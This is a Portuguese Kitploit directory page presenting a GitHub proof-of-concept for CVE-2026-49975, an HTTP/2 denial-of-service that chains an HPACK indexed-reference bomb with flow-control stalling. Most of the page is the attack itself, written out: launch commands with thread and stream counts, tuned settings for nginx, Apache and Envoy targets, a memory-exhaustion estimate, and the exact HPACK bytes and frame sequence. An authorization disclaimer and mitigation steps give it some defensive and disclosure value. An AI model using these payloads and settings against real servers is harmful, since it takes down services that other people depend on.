Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-49975-POC — Bomba HTTP/2 PoC — CVE-2026-49975 (bomba de referência indexada do HPACK + estagnação do controle de fluxo) | Kitploit
Ferramentas/GitHubGitHub/mrx-arafat/cve-2026-49975-poc
Análise de VulnerabilidadesExploraçãoSegurança WebSegurança de RedeTestes de Penetração
GitHubmrx-arafat/cve-2026-49975-poc

CVE-2026-49975-POC

Bomba HTTP/2 PoC — CVE-2026-49975 (bomba de referência indexada do HPACK + estagnação do controle de fluxo)

Ver Repositório
2982há 3 mesesRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-49975 — PoC da Bomba HTTP/2

CVE Severity Python

Exploit de prova de conceito para a CVE-2026-49975, uma vulnerabilidade remota de negação de serviço em implementações de servidores HTTP/2. Descoberta por Quang Luong (Calif Security Research), divulgada em 2 de junho de 2026.

Somente para testes de segurança autorizados. Não use contra infraestrutura que você não possua ou sem permissão por escrito para testar.


Como Funciona

O ataque encadeia dois mecanismos do protocolo HTTP/2:

1. Bomba de Referência Indexada HPACK

O HPACK (RFC 7541) permite que remetentes referenciem cabeçalhos já vistos por índice — normalmente um byte. O exploit insere um cabeçalho quase vazio na tabela dinâmica uma única vez e depois o referencia milhares de vezes. Cada referência de 1 byte transmitida força o servidor a alocar ~70 bytes de contabilidade interna por entrada. Nenhum valor grande está envolvido, portanto os limites de "tamanho máximo de cabeçalho decodificado" nunca são acionados.

2. Bloqueio da Janela de Controle de Fluxo HTTP/2

Ao anunciar uma janela de recepção de zero bytes, o atacante impede o servidor de enviar sua resposta ou liberar qualquer memória. Quadros periódicos de 1 byte reiniciam o tempo-limite de envio do servidor, mantendo as alocações retidas enquanto a conexão estiver aberta.

WINDOW_UPDATE

Resultado: ~16 KB enviados por stream → ~1,15 MB de RAM do servidor alocados e retidos por stream.


Servidores Afetados

ServidorAmplificaçãoImpacto na DemonstraçãoStatus
Envoy 1.37.2~5,700:132 GB em ~10sSem correção na divulgação
Apache httpd 2.4.67~4,000:132 GB em ~18sCorrigido no mod_http2 v2.0.41
nginx < 1.29.8~70:132 GB em ~45sCorrigido no nginx 1.29.8
Microsoft IIS (WS 2025)~68:164 GB em ~45sSem correção na divulgação
Cloudflare Pingora~68:1—Sem correção na divulgação

Uso

Sem dependências — apenas stdlib.

root@kitploit:~
# Basic test (single connection)
python3 exploit-test.py target.com 443

# nginx-specific bookkeeping bomb (recommended for nginx targets)
python3 exploit-test.py target.com 443 --mode nginx --threads 50 --streams 30 --headers 16374

# Apache/Envoy cookie-crumb technique
python3 exploit-test.py target.com 443 --mode classic --threads 20 --streams 30 --headers 5000

# HTTP/2 cleartext (rare — most servers require TLS for h2)
python3 exploit-test.py target.com 80 --no-ssl

Argumentos

FlagPadrãoDescrição
target—Hostname ou IP
port443Porta TCP
--threads1Conexões paralelas (cada uma reconecta ao fechar)
--streams10Streams HTTP/2 por conexão
--headers5000Referências indexadas HPACK por stream
--modenginxnginx (contabilidade, 70:1) ou classic (valor grande, 4000:1)
--no-ssloffDesabilita TLS (h2c)

Estimativa de Pressão de RAM

root@kitploit:~
total_streams = threads × streams
server_ram_mb = total_streams × headers × amplification_bytes / 1024²

# nginx example: 50 × 30 × 16374 × 70 / 1024² = ~1,647 MB

Configurações Ideais por Alvo

AlvoModo--headersObservações
nginx < 1.29.8nginx16374Permanece dentro do padrão http2_max_header_size 16k
Apache httpdclassic5000Técnica de migalhas de cookie
Envoyclassic32000Alta amplificação

Verifique se um Alvo é Vulnerável

root@kitploit:~
# Confirm HTTP/2 support and server version
curl -sv --http2 https://target.com/ 2>&1 | grep -E "ALPN|HTTP/2|server:"

# Vulnerable if:
# - ALPN: server accepted h2   (HTTP/2 enabled)
# - server: nginx/X.Y.Z        (where X.Y.Z < 1.29.8)

Mitigações

nginx — atualize para 1.29.8+ e adicione:

root@kitploit:~
http2 max_headers 1000;

Ou desabilite o HTTP/2 por completo:

root@kitploit:~
# Remove "http2" from listen directive
listen 443 ssl;

Apache httpd — atualize o mod_http2 para v2.0.41+. Solução temporária: Protocols http/1.1

IIS / Envoy / Pingora — nenhuma correção disponível no momento da redação. Desabilite o HTTP/2 ou coloque um proxy corrigido à frente.

Geral (todos os servidores):

root@kitploit:~
# Cap worker memory to limit blast radius
ulimit -v 2097152   # 2 GB per process
# Docker: --memory="2g" --memory-swap="2g"

Detalhes Técnicos

Codificação HPACK

root@kitploit:~
Dynamic table seed (incremental indexing, adds to index 62):
  0x40 | name_len | name | value_len | value
  = 0x40 0x06 "x-bomb" 0x00

Indexed reference to entry 62 (1 byte each):
  0x80 | 62 = 0xbe

Wire payload per stream = 9 bytes (seed) + N bytes (N references)
Server allocation per ref ≈ sizeof(ngx_table_elt_t) ≈ 70 bytes

Sequência de Quadros HTTP/2

root@kitploit:~
Client → Server:
  PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n     (preface)
  SETTINGS [INITIAL_WINDOW_SIZE=0]      (stall setup)
  SETTINGS ACK                          (after reading server SETTINGS)
  HEADERS [stream 1]  ← bomb payload   (pseudo-headers + HPACK bomb)
  HEADERS [stream 3]  ← bomb payload
  ...
  WINDOW_UPDATE(1) per stream / 1s      (keep-alive stall)

Arquivos

ArquivoDescrição
exploit-test.pyPoC principal — multi-stream, reconexão contínua, modos nginx + classic
SECURITY-REPORT-MIST.mdRelatório de avaliação autorizado para mist.ac.bd
LICENSEMIT

Referências

  • CVE-2026-49975
  • RFC 7541 §7.3 — Consumo de Memória do HPACK
  • RFC 9113 §8.2.3 — Divisão do cabeçalho Cookie
  • CVE-2016-6581 — Bomba HPACK Original (Cory Benfield, 2016)
  • CVE-2025-53020 — HPACK Apache 4000:1 (Gal Bar Nahum, 2025)
Baixar ferramenta